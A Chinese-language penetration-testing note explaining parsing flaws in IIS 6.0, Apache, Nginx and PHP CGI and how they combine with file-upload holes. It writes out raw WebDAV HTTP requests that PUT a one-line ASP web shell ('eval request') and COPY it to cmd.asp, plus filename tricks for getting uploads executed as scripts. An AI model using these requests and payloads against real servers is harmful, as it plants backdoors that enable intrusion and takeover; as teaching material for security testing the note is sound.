解析漏洞
文件上傳漏洞通常與Web容器的解析漏洞配合利用
常見Web容器有IIS、Nginx、Apache、Tomcat等
IIS解析漏洞
IIS6.0在解析文件時存在以下兩個解析漏洞
1、當建立*.asp、*.asa格式的文件夾時,其目錄下任意文件都會被iis當作asp文件來解析。
2、當文件為*.asp;1.jpg時,IIS6.0同樣會以ASP腳本來執行。
WebDav漏洞
WebDav是一種基于HTTP1.1協議的通信協議,它擴展了HTTP協議。在開啟WebDav后若
支持PUT、Move、Copy、Delete等方法,就會存在安全隱患。
測試步驟如下:
1)通過OPTIONS探測服務器所支持的HTTP方法
請求:
OPTIONS / HTTP/1.1
Host: www.xxxx.com
2)通過PUT方法向服務器上傳shell
請求:
PUT /a.txt HTTP/1.1
Host: www.xxxx.com
Content-Length: 30
<%eval request("chopper") %>
3)通過Move或Copy方法改名
請求:
COPY /a.txt HTTP/1.1
Host: www.xxxx.com
Destination: http://www.xxxx.com/cmd.asp
4)用DELETE方法刪除文件
請求:
DELETE /a.txt HTTP/1.1
Host: www.xxxx.com
注:可用桂林老兵的IIS Write快速探測服務器是否存在WebDav漏洞
Apache解析漏洞
在Apache 1.x和Apache 2.x中存在解析漏洞。
Apache在解析文件時有一個原則,當碰到不認識的擴展名時,將會從后向前解析,
直到碰到認識的擴展名為止,如果都不認識,則會暴露其源代碼。
如:1.php.rar.sa.xs就會被解析為php,可以據此來繞過文件名限制
可以在Apache安裝目錄下的文件"/conf/mime.types"中配置Apache可以識別的文件名
Nginx解析漏洞
對低版本的Nginx可以在任意文件名后添加%00.php進行解析攻擊
如:上傳圖片xx.jpg,然后通過改名為xx.jpg%00.php就會解析為php
PHP CGI解析漏洞
當php的配置文件中的選項cgi.fix_pathinfo = 1開啟時,當訪問http://www.xxx.com/x.txt/x.php
時,若x.php不存在,則PHP會遞歸向前解析,將x.txt當作php腳本來解析
IIS中:任意文件名/任意文件名.php就會被解析為php
Nginx中:任意文件名/任意文件名.php就會被解析為php